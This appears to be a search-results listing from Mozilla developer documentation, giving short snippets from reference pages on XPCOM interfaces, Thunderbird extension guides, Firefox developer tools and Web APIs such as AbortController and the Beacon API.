...each string is the name of an object to import, and will be defined on the importing scope's global.
...And 5 more matches
IAccessibleHypertext
1.0 66 introduced gecko 1.9 inherits from: iaccessibletext last changed in gecko 1.9 (firefox 3) the iaccessiblehypertext interface is the main interface to expose hyperlinks in a document, typically a text document, that are used to reference other documents.
... a typical implementation is to implement this interface on the smallest text object such as a paragraph of text.
... method overview [propget] hresult hyperlink([in] long index, [out] iaccessiblehyperlink hyperlink ); [propget] hresult hyperlinkindex([in] long charindex, [out] long hyperlinkindex ); [propget] hresult nhyperlinks([out] long hyperlinkcount ); methods hyperlink() returns the specified link.
...And 5 more matches
imgIEncoder
1.0 66 introduced gecko 1.8 inherits from: nsiasyncinputstream last changed in gecko 1.9 (firefox 3) method overview void addimageframe( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 frameformat, in astring frameoptions); void encodeclipboardimage(in nsiclipboardimage aclipboardimage, out nsifile aimagefile); obsolete since gecko 1.9 void endimageencode(); void initfromdata([array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions); ...
...void startimageencode(in pruint32 width, in pruint32 height, in pruint32 inputformat, in astring outputoptions); constants possible values for input format (note that not all image formats support saving alpha channels): constant value description input_format_rgb 0 input is rgb each pixel is represented by three bytes: r, g, and b (in that order, regardless of host endianness) input_format_rgba 1 input is rgb each pixel is represented by four bytes: r, g, and b (in that order, regardless of host endianness).
... post-multiplied alpha us used (for example 50% transparent red is 0xff000080) input_format_hostargb 2 input is host-endian argb: on big-endian machines each pixel is therefore argb, and for little-endian machiens (intel) each pixel is bgra (this is used by canvas to match it's internal representation) pre-multiplied alpha is used (that is, 50% transparent red is 0x80800000, not 0x80ff0000) possible values for outputoptions.
...And 5 more matches
mozIStorageService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) see mozistorageconnection method overview nsifile backupdatabasefile(in nsifile adbfile, in astring abackupfilename, [optional] in nsifile abackupparentdirectory); mozistorageconnection opendatabase(in nsifile adatabasefile); mozistorageconnection openspecialdatabase(in string astoragekey); mozistorageconnection openunshareddatabase(in nsifile adatabasefile); meth...
...consumers should check mozistorageconnection.connectionready to ensure that they can use the database.
... warning: if you have more than one connection to a file, you must use the exact same name for the file each time, including case.
...And 5 more matches
nsIAccessibilityService
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsiaccessibleretrieval method overview nsiaccessible createouterdocaccessible(in nsidomnode anode); nsiaccessible createrootaccessible(in nsipresshell ashell, in nsidocument adocument); nsiaccessible createhtml4buttonaccessible(in nsisupports aframe); nsiaccessible createhypertextaccessible(in nsisupports aframe); nsiaccessible createhtmlbraccessible(in nsisupports aframe); nsiaccessible createhtmlbuttonaccessible(in nsisupports aframe); nsiaccessible createhtmlaccessiblebymarkup(in nsiframe aframe, in nsiweakreference aweakshell, in nsidomnode adomnode); nsiaccessible...
... createhtmlliaccessible(in nsisupports aframe, in nsisupports abulletframe, in astring abullettext); nsiaccessible createhtmlcheckboxaccessible(in nsisupports aframe); nsiaccessible createhtmlcomboboxaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlgenericaccessible(in nsisupports aframe); nsiaccessible createhtmlgenericaccessible(in nsisupports aframe); nsiaccessible createhtmlhraccessible(in nsisupports aframe); nsiaccessible createhtmlimageaccessible(in nsisupports aframe); nsiaccessible createhtmllabelaccessible(in nsisupports aframe); nsiaccessible createhtmllabelaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlobjectframeaccessible(in nsobjectframe aframe); nsiaccessible create...
...le(in nsisupports aframe); nsiaccessible getaccessible(in nsidomnode anode, in nsipresshell apresshell, in nsiweakreference aweakshell, inout nsiframe framehint, out boolean aishidden); nsiaccessible addnativerootaccessible(in voidptr aatkaccessible); void removenativerootaccessible(in nsiaccessible arootaccessible); void invalidatesubtreefor(in nsipresshell apresshell, in nsicontent achangedcontent, in pruint32 aevent); methods removenativerootaccessible() void removenativerootaccessible( in nsiaccessible arootaccessible ); invalidatesubtreefor() invalidate the accessibility cache associated with apresshell, for accessibles that were generated for acontainercontent and it's subtree.
...And 5 more matches
nsIAccessibleHyperText
a typical implementation is to implement this interface on the small text object such as a paragraph of text.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview nsiaccessiblehyperlink getlink(in long linkindex); long getlinkindex(in long charindex); long getselectedlinkindex(); obsolete since gecko 1.9 attributes attribute type description linkcount long the number of links contained within this hypertext object.
... exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
...And 5 more matches
nsIBlocklistService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 29 (firefox 29 / thunderbird 29 / seamonkey 2.26) method overview unsigned long getaddonblockliststate(in jsval addon, [optional] in astring appversion, [optional] in astring toolkitversion); unsigned long getpluginblockliststate(in nsiplugintag plugin, [optional] in astring appversion, [optional] in astring toolkitversion); boolean isaddonblocklisted(in jsval addon, [optional] in astring appversion, [optional] in astring toolkitversion); constants constant value description state_not_blocked 0 state_softblocked 1 ...
... appversion optional the version of the application we are checking in the blocklist.
... toolkitversion optional the version of the toolkit we are checking in the blocklist.
...And 5 more matches
nsIClassInfo
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsisupports gethelperforlanguage(in pruint32 language); void getinterfaces(out pruint32 count, [array, size_is(count), retval] out nsiidptr array); attributes attribute type description classdescription string a human readable string naming the class, or null.
... classid nscidptr a classid through which an instance of this class can be created, or null.
... if the flags attribute has the singleton bit set, then the value of this attribute specifies a classid through which this class can be accessed as a service using nsiservicemanager.getservice().
...And 5 more matches
nsIContentSecurityPolicy
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean permitsancestry(in nsidocshell docshell); void refinepolicy(in astring policystring, in nsiuri selfuri); void scanrequestdata(in nsihttpchannel achannel); void sendreports(in astring blockeduri, in astring violateddirective); short shouldload(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiu...
...ri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetype, in nsisupports aextra); attributes attribute type description allowseval boolean whether this policy allows eval and eval-like functions such as settimeout("code string", time).
... calls to this may trigger violation reports when queried, so this value should not be cached.
...And 5 more matches
nsIContentViewer
inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: ?????????????????????????????????????.
... previousviewer nsicontentviewer the previous content viewer, which has been closed but not destroyed.
...return value the container view, or null if this content viewer is the root of a view manager hierarchy.
...And 5 more matches
nsIConverterInputStream
xpcom/io/nsiconverterinputstream.idlscriptable a unichar input stream that wraps an input stream.
... this allows reading unicode strings from a stream, automatically converting the bytes from a selected character encoding.
... 1.0 66 introduced gecko 1.8 inherits from: nsiunicharinputstream last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/converter-input-stream;1.
...And 5 more matches
nsICrashReporter
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void annotatecrashreport(in acstring key, in acstring data); void appendappnotestocrashreport(in acstring data); void appendobjcexceptioninfotoappnotes(in voidptr aexception); native code only!
... minidumppath nsilocalfile get or set the path on the local system to which minidumps will be written when a crash happens.
... serverurl nsiurl get or set the url to which crash reports will be submitted.
...And 5 more matches
nsIDNSService
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/network/dns-service;1.
... constant value description resolve_bypass_cache (1 << 0) this flag suppresses the internal dns lookup cache.
...speculative requests return errors if prefetching is disabled by configuration.
...And 5 more matches
nsIDOMMouseScrollEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsidommouseevent.
... in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes attribute type description axis long indicates which mouse wheel axis changed; this will be either horizontal_axis or vertical_axis.
... viewarg the nsidomabstractview in which the event occurred.
...And 5 more matches
nsIDOMNode
inherits from: nsisupports last changed in gecko 0.9.6 method overview nsidomnode appendchild(in nsidomnode newchild) nsidomnode clonenode(in boolean deep); boolean hasattributes(); boolean haschildnodes(); nsidomnode insertbefore(in nsidomnode newchild, in nsidomnode refchild) boolean issupported(in domstring feature, in domstring version); void normalize(); nsidomnode removechild(in nsidomnode oldchild) nsidomnode replacechild(in nsidomnode newchild, in nsidomnode oldchild) attributes attribute type description attributes nsidomnamednodemap read only.
... childnodes nsidomnodelist read only.
... firstchild nsidomnode read only.
...And 5 more matches
nsIDOMXPathResult
dom/interfaces/xpath/nsidomxpathresult.idlscriptable this interface describes an xpath result returned by nsidomxpathevaluator or document.evaluate inherits from: nsisupports last changed in gecko 1.7 method overview nsidomnode iteratenext(); nsidomnode snapshotitem(in unsigned long index); attributes attribute type description booleanvalue boolean if resulttype is boolean_type, the boolean value.
... unordered_node_iterator_type 4 type is a reference to all the nodes matching the expression used in the evaluator.
... ordered_node_iterator_type 5 type is a reference to all the nodes matching the expression used in the evaluator.
...And 5 more matches
nsIEditor
66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) method overview [noscript] void init(in nsidomdocument doc, in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags); void setattributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes...
... void redo(in unsigned long count); void canredo(out boolean isenabled, out boolean canredo); void begintransaction(); void endtransaction(); void beginplaceholdertransaction(in nsiatom name); void endplaceholdertransaction(); boolean shouldtxnsetselection(); void setshouldtxnsetselection(in boolean should); inline spellchecking methods nsiinlinespellchecker getinlinespellchecker(in boolean autocreate); void syncrealtimespell(); void setspellcheckuseroverride(in boolean enable); clipboard methods void cut(); boolean cancut(); void copy(); boolean cancopy(); void paste(in long aselectiontype); boolean canpaste(in long aselectio...
...domnode createnode(in astring tag, in nsidomnode parent, in long position); void insertnode(in nsidomnode node, in nsidomnode parent, in long aposition); void splitnode(in nsidomnode existingrightnode, in long offset, out nsidomnode newleftnode); void joinnodes(in nsidomnode leftnode, in nsidomnode rightnode, in nsidomnode parent); void deletenode(in nsidomnode child); void marknodedirty(in nsidomnode node); direction controller void switchtextdirection(); output methods astring outputtostring(in astring formattype, in unsigned long flags); example: // flags are declared in base/public/nsidocumentencoder.idl // outputselectiononly = 1, outputformatted = 2, // outputraw = 4, o...
...And 5 more matches
nsIEffectiveTLDService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/effective-tld-service;1.
...cookie setting and domain highlighting, but you should check whether it's the right answer for your application.
...that question is unanswerable with 100% accuracy using the psl, because what is a domain name is a property of the dns, which is different for different people.
...And 5 more matches
nsIFeed
1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description cloud nsiwritablepropertybag2 the cloud element on a feed is used to identify the api endpoint of an rsscloud ping server, which distributes notifications of changes to this feed.
... skipdays nsiarray an array of days of the week on which the feed should not be fetched.
... each entry in the array is the name of one day of the week to skip.
...And 5 more matches
nsIFeedTextConstruct
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by: @mozilla.org/feed-textconstruct;1, but users usually don't need to create instances of this directly.
... various other feed-related interfaces, such as nsifeed, nsifeedentry, and nsifeedcontainer have attributes that return objects implementing nsifeedtextconstruct.
... lang astring the language of the text (such as "en-us" for u.s.
...And 5 more matches
nsIFileProtocolHandler
inherits from: nsiprotocolhandler last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsifile getfilefromurlspec(in autf8string url); autf8string geturlspecfromactualfile(in nsifile file); autf8string geturlspecfromdir(in nsifile file); autf8string geturlspecfromfile(in nsifile file); nsiuri newfileuri(in nsifile afile); nsiuri readurlfile(in nsifile file); methods getfilefromurlspec() converts the url string into the corresponding nsifile if possible.
...should only be called on files which are not directories.
...the resulting string may contain url-escaped characters.
...And 5 more matches
nsIFrameLoader
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this interface works in tandem with the nsicontentview interface to manage frames across processes if electrolysis is in use to support per-frame processes.
... method overview void activateframeevent(in astring atype, in boolean capture); void activateremoteframe(); void destroy(); void loadframe(); void loaduri(in nsiuri auri); void sendcrossprocesskeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); void sendcrossprocessmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodifiers, [optional] in boolean aignorerootscrollframe); void updatepositionandsize(in nsiframe aiframe); native code only!
... messagemanager nsichromeframemessagemanager the message manager handling messages for this frame.
...And 5 more matches
nsIInputStream
inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) an input stream may be "blocking" or "non-blocking" (see the isnonblocking() method).
... method overview unsigned long available();deprecated since gecko 17.0 unsigned long long available(); void close(); boolean isnonblocking(); unsigned long read(in charptr abuf, in unsigned long acount); native code only!
... note: some nsiinputstream implementations automatically close() when end-of-file is reached; others do not.
...And 5 more matches
nsILocalFileMac
inherits from: nsilocalfile last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview cfurlref getcfurl(); native code only!
...obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchinbackground); void opendocwithapp(in nsilocalfile aapptoopenwith, in boolean alaunchinbackground); void setfiletypeandcreatorfromextension(in string aextension); obsolete since gecko 1.9.2 void setfiletypeandcreatorfrommimetype(in string amimetype); obsolete since gecko 1.9.2 attributes attribute type description bundledisplaynam...
...launchwithdoc() launch the application that this file points to with a document.
...And 5 more matches
nsILoginManagerPrompter
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/login-manager/prompter;1.
... to call this service, use: var loginmanagerprompter = components.classes["@mozilla.org/login-manager/prompter;1"] .getservice(components.interfaces.nsiloginmanagerprompter); method overview void init(in nsidomwindow awindow); void prompttochangepassword(in nsilogininfo aoldlogin, in nsilogininfo anewlogin); void prompttochangepasswordwithusernames([array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo anewlogin); void prompttosavepassword(in nsilogininfo alogin); methods init() initialize the prompter.
... void init( in nsidomwindow awindow ); parameters awindow the in which the user is doing some login-related action that is resulting in a need to prompt them for something.
...And 5 more matches
nsIMimeConverter
method overview string encodemimepartiistr(in string header, in boolean structured, in string mailcharset, in long fieldnamelen, in long encodedwordsize); string encodemimepartiistr_utf8(in autf8string header, in boolean structured, in string mailcharset, in long fieldnamelen, in long encodedwordsize); string decodemimeheadertocharptr(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); astring decodemimeheader(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); mi...
...nverteroutputcallback output_fn, in void *closure); mimeencoderdata *qpencoderinit(in mimeconverteroutputcallback output_fn, in void *closure); void encoderdestroy(in mimeencoderdata *data, in boolean abort_p); long encoderwrite(in mimeencoderdata *data, in string buffer, in long size); methods encodemimepartiistr() an variant of encodemimepartiistr_utf8() which treats the header as written in the given charset.
... string encodemimepartiistr(in string header, in boolean structured, in string mailcharset, in long fieldnamelen, in long encodedwordsize); parameters propertyname the name of the property to retrieve.
...And 5 more matches
Building an Account Manager Extension
we name the extension "devmo-account" and state that it is located in the chrome package "example@mozilla.org".
... components.utils.import("resource://gre/modules/xpcomutils.jsm"); //class constructor function devmoaccountmanagerextension() {}; // class definition devmoaccountmanagerextension.prototype = { name : "devmo-account", chromepackagename : "example@mozilla.org", showpanel: function(server) { //this panel is only shown for imap accounts...
...the unique component identifier (change it if you copied this example!)...
...And 5 more matches
nsIOutputStream
inherits from: nsisupports last changed in gecko 1.0 an output stream may be "blocking" or "non-blocking" (see the isnonblocking() method).
... flush() this method may be called to instruct the output stream to write out the contents of any internal buffers to a low-level data sink, such as a file on disk.
... note: though this method is scriptable, javascript code must only pass an ascii character string as the abuf parameter.
...And 5 more matches
nsIServerSocket
last changed in gecko 1.6 inherits from: nsisupports implemented by: @mozilla.org/network/server-socket;1.
...it will asynchronously listen for and accept client connections.
... the listener will be notified once for each client connection that is accepted.
...And 5 more matches
nsISound
inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) warning: this interface should not be used to play custom sounds in modern code.
... event_prompt_dialog_open 3 a prompt dialog (one that allows the user to enter data, such as an authentication dialog) is opened.
... event_editor_max_len 7 more characters than the maximum allowed are typed into a text field.
...And 5 more matches
nsISupportsPriority
xpcom/threads/nsisupportspriority.idlscriptable this interface exposes the general notion of a scheduled object with an integral priority value.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface does not strictly define what happens when the priority of an object is changed.
... an implementation of this interface is free to define the side-effects of changing the priority of an object.
...And 5 more matches
nsITelemetry
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval gethistogrambyid(in acstring id); jsval snapshothistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsva...
...l snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); void sethistogramrecordingenabled(in acstring id, in boolean enabled); void asyncfetchtelemetrydata(in nsifetchtelemetrydatacallback acallback); double mssinceprocessstart(); void scalaradd(in acstring aname, in jsval avalue); void scalarset(in acstring aname, in jsval avalue); void scalarsetmaximum(in acstring aname, in jsval avalue); jsval snapshotscalars(in uint32_t adataset, [optional] in boolean aclear); void keyedscalaradd(in acstring aname, in astring akey, in jsval avalue); void keyedscalarset(in acstring...
... aname, in astring akey, in jsval avalue); void keyedscalarsetmaximum(in acstring aname, in astring akey, in jsval avalue); jsval snapshotkeyedscalars(in uint32_t adataset, [optional] in boolean aclear); void clearscalars(); test only void flushbatchedchildtelemetry(); void recordevent(in acstring acategory, in acstring amethod, in acstring aobject, [optional] in jsval avalue, [optional] in jsval extra); void seteventrecordingenabled(in acstring acategory, in boolean aenabled); jsval snapshotevents(in uint32_t adataset, [optional] in boolean aclear); void registerevents(in acstring acategory, in jsval aeventdata); void registerscalars(in acstring acategoryname, in jsval ascalardata); void clearevents();...
...And 5 more matches
nsITransactionManager
inherits from: nsisupports last changed in gecko 1.7 method overview void addlistener(in nsitransactionlistener alistener); void beginbatch(); void clear(); void dotransaction(in nsitransaction atransaction); void endbatch(); nsitransactionlist getredolist(); nsitransactionlist getundolist(); nsitransaction peekredostack(); nsitransaction peekundostack(); void redotransaction(); void removelistener(in nsitransactionlistener alistener); void undotransaction(); attributes attribute type description maxtransactioncount long sets the maximum number of transaction items the transaction manager will maintain at an...
...a value of zero means the transaction manager will execute each transaction, then immediately release all references it has to the transaction without pushing it on the undo stack.
... beginbatch() turns on the transaction manager's batch mode, forcing all transactions executed by the transaction manager's dotransaction() method to be aggregated together until endbatch() is called.
...And 5 more matches
nsITransferable
inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) implemented by: @mozilla.org/widget/transferable;1.
... to create an instance, use: var transferable = components.classes["@mozilla.org/widget/transferable;1"] .createinstance(components.interfaces.nsitransferable); it's important to note that a flavor, which specifies a type of data the transferable supports, is represented by a null-terminated string indicating the mime type of the format supported by the flavor.
... long adatalen ); void init(in nsiloadcontext acontext); boolean islargedataset( ); void removedataflavor( in string adataflavor ); void settransferdata( in string aflavor, in nsisupports adata, in unsigned long adatalen ); attributes attribute type description converter nsiformatconverter an nsiformatconverter instance which implements the code needed to convert data into and out of the transferable given the supported flavors.
...And 5 more matches
nsIURIFixup
inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/docshell/urifixup;1 as a service: var urifixup = components.classes["@mozilla.org/docshell/urifixup;1"] .createinstance(components.interfaces.nsiurifixup); method overview nsiuri createexposableuri(in nsiuri auri); nsiuri createfixupuri(in autf8string auritext, in unsigned long afixupflags); nsiuri keywordtouri(in autf8string akeyword); nsiurifixupinfo getfixupuriinfo(in autf8string auritext, in unsigned long afixupflags); constants constant value description ...
...the fixup object implementer should honour this flag and only perform any lengthy keyword (or search) operation if it is set.
... fixup_flag_use_utf8 4 use utf-8 to encode the uri instead of the platform character set.
...And 5 more matches
nsIUpdateItem
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is obsolete; instead of using the extension manager, you should use the addon manager.
... targetappid astring the target application id used for checking compatibility for this item.
... constants item type constants constants representing types of update checks.
...And 5 more matches
Weak reference
after all, the observable must send messages to each observer, notifying it of the appropriate state changes.
...but in this design, by hitching its life to the observable, it is kept on life-support long past any need or use.
... what is actually needed in this case, is either out-of-band signaling, where when the observer wants to go away, it unregisters itself from the observable, which then releases its owning reference, allowing the observer to die, or else a new kind of reference.
...And 5 more matches
xptcall FAQ
the xptcall approach was chosen over an approach that would have required generating stub code for calling and implementing all interfaces.
... though the chosen approach requires some core platform specific code, it has minimal footprint and is extendable to work with any valid xpcom interface without requiring additional per platform compiled code to be distributed.
... the stubs (or impersonation) facility of xptcall allows for implementing a class which can, at runtime, pretend to be any xpcom interface.
...And 5 more matches
Testing Mozilla code
before you can even get your code committed into the source tree, you have to test it, and larger patches have to have automated tests.
...the first part will focus on the modern and robust way of static-analysis and the second part will present the build-time static-analysis.debugging mozilla with valgrindthis page describes how to use valgrind (specifically, its memcheck tool) to find memory errors.firefox and address sanitizeraddress sanitizer (asan) is a fast memory error detector that detects use-after-free and out-of-bound bugs in c/c++ programs.
... it uses a compile-time instrumentation to check all reads and writes during the execution.
...And 5 more matches
MailNews fakeserver
it utilizes utf-8 as its transport mechanism and is capable of performing proper pipelining of commands.
...an example of such a manipulation is adding a folder or adding messages.
...it will also properly queue all messages sent in pipelining mode and will present lines without any eol characters.
...And 5 more matches
Main Windows
much of it may no longer be relevant.
... the base chrome directory of thunderbird can sometimes appear confusing when you're just beginning to look at it.
... as such, i've always thought it would be nice to have a list of what xul, js, or other files are that are here, what they do, and where they overlay at different points within the client.
...And 5 more matches
Adding items to the Folder Pane
that container will have 3 child-items, the numbers 1, 2, and 3.
...each time the folder pane determines that it is necessary to invalidate all its data (because of too many changes, or more commonly because the folder pane's "mode" (aka view) has changed), a "rebuild" occurs.
... listening for folder pane rebuilds every time the folder pane rebuilds, it fires a "maprebuild" event, which is the ideal opportunity for extensions to step in and modify the display data.
...And 5 more matches
customDBHeaders Preference
some of the functionality described here is really new, so please try to be understanding if some of these things change tomorrow (or have changed already).
... while i was going through the creating a custom column guide, i built and used thunderbird-2.0b1 checked-out from cvs with the thunderbird_2_0b1_release tag.
...also, it has been brought to my attention that the delimiter has been changed to a space in the latest code.
...And 5 more matches
Scripting plugins - Plugins
this extension will also let plugins access the script objects in the browser, and is thus a much stronger and more flexible api.) the information in this section applies to firefox 1.0 and mozilla 1.7.5 and newer versions.
... how the dom handles scripting the mozilla dom code now checks if a plugin supports this new scriptability api and if it exposes a scriptable object through this new mechanism.
...the threading model for this api is such that all calls through this api are synchronous and calls from a plugin to methods in this api must come from the thread on which the plugin was initiated, and likewise all calls to methods in this api by the browser are guaranteed to come from the same thread.
...And 5 more matches
Browser Toolbox - Firefox Developer Tools
to enable it you need to check the settings "enable chrome and addon debugging" and "enable remote debugging".
... to do this, open the developer tools settings, go to the section "advanced settings", and check the settings "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging".
... you will be presented with a dialog like this (it can be removed by setting the devtools.debugger.prompt-connection property to false): click ok, and the browser toolbox will open in its own window: you'll be able to inspect the browser's chrome windows and see, and be able to debug, all the javascript files loaded by the browser itself and by any add-ons that are running.
...And 5 more matches
Tree map view - Firefox Developer Tools
the tree map view provides a visual representation of the snapshot, that helps you quickly get an idea of which objects are using the most memory.
... a treemap displays "hierarchical (tree-structured) data as a set of nested rectangles".
... for the treemaps shown in the memory tool, things on the heap are divided at the top level into four categories: objects: javascript and dom objects, such as function, object, or array, and dom types like window and htmldivelement.
...And 5 more matches
Frame rate - Firefox Developer Tools
frame rate and responsiveness frame rate is the rate at which a video device can produce images (or frames).
... for example, if moving the mouse over some page element triggers some javascript that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame.
... a frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some event.
...And 5 more matches
Web Console Helpers - Firefox Developer Tools
$(selector, element) looks up a css selector string selector , returning the first node descended from element that matches.
... $$(selector, element) looks up a css selector string selector, returning an array of dom nodes descended from element that match.
... $x(xpath, element, resulttype) evaluates the xpath xpath expression in the context of element and returns an array of matching nodes.
...And 5 more matches
AbortController.abort() - Web APIs
a fetch request) before it has completed.
... this is able to abort fetch requests, consumption of any response body, and streams.
... examples in the following snippet, we aim to download a video using the fetch api.
...And 5 more matches
AbortController - Web APIs
properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to communicate with/abort a dom request.
...this is able to abort fetch requests, consumption of any response body, and streams.
... examples in the following snippet, we aim to download a video using the fetch api.
...And 5 more matches
AudioContext.createMediaStreamDestination() - Web APIs
the createmediastreamdestination() method of the audiocontext interface is used to create a new mediastreamaudiodestinationnode object associated with a webrtc mediastream representing an audio stream, which may be stored in a local file or sent to another computer.
... for more details about media stream destination nodes, check out the mediastreamaudiodestinationnode reference page.
... examples in the following simple example, we create a mediastreamaudiodestinationnode, an oscillatornode and a mediarecorder (the example will therefore only work in firefox and chrome at this time.) the mediarecorder is set up to record information from the mediastreamdestinationnode.
...And 5 more matches
AudioTrackList.getTrackById() - Web APIs
the audiotracklist method gettrackbyid() returns the first audiotrack object from the track list whose id matches the specified string.
... return value an audiotrack object indicating the first track found within the audiotracklist whose id matches the specified string.
... if no match is found, this method returns null.
...And 5 more matches
AudioTrackList - Web APIs
the audiotracklist interface is used to represent a list of the audio tracks contained within a given html media element, with each track represented by a separate audiotrack object in the list.
... onchange an event handler to be called when the change event occurs.
... this occurs when one or more tracks have been enabled or disabled by their enabled flag being changed.
...And 5 more matches
AudioWorkletNode() - Web APIs
the audioworkletnode() constructor creates a new audioworkletnode object, which represents an audionode that uses a javascript function to perform custom audio processing.
... name a string, which represents the name of the audioworkletprocessor this node will be based on.
... options optional an object based on the audioworkletnodeoptions dictionary, which contains zero or more optional properties to configure the new node.
...And 5 more matches
AudioWorkletNodeOptions - Web APIs
outputchannelcount optional an array defining the number of channels for each output.
... for example, outputchannelcount: [n, m] specifies the number of channels in the first output to be n and the second output to be m.
... the array length must match numberofoutputs.
...And 5 more matches
AudioWorkletProcessor - Web APIs
properties port read only returns a messageport used for bidirectional communication between the processor and the audioworkletnode which it belongs to.
...however, you must provide a process() method, which is called in order to process the audio stream.
...this method gets called for each block of 128 sample-frames and takes input and output arrays and calculated values of custom audioparams (if they are defined) as parameters.
...And 5 more matches
Battery Status API - Web APIs
the battery status api, more often referred to as the battery api, provides information about the system's battery charge level and lets you be notified by events that are sent when the battery level or charging status change.
... this can be used to adjust your app's resource usage to reduce battery drain when the battery is low, or to save changes before the battery runs out in order to prevent data loss.
... the battery status api extends window.navigator with a navigator.getbattery() method returning a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status.
...And 5 more matches
Beacon API - Web APIs
the beacon interface is used to schedule an asynchronous and non-blocking request to a web server.
... user agents will typically ignore asynchronous xmlhttprequests made in an unload handler.
... to solve this problem, analytics and diagnostics code will typically make a synchronous xmlhttprequest in an unload or beforeunload handler to submit the data.
...And 5 more matches
value - Web APIs
the bluetoothremotegattdescriptor.value read-only property returns an arraybuffer containing the currently cached descriptor value.
... syntax var characteristic = bluetoothremotegattdescriptor.characteristic returns an arraybuffer.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 5 more matches
CSSPrimitiveValue - Web APIs
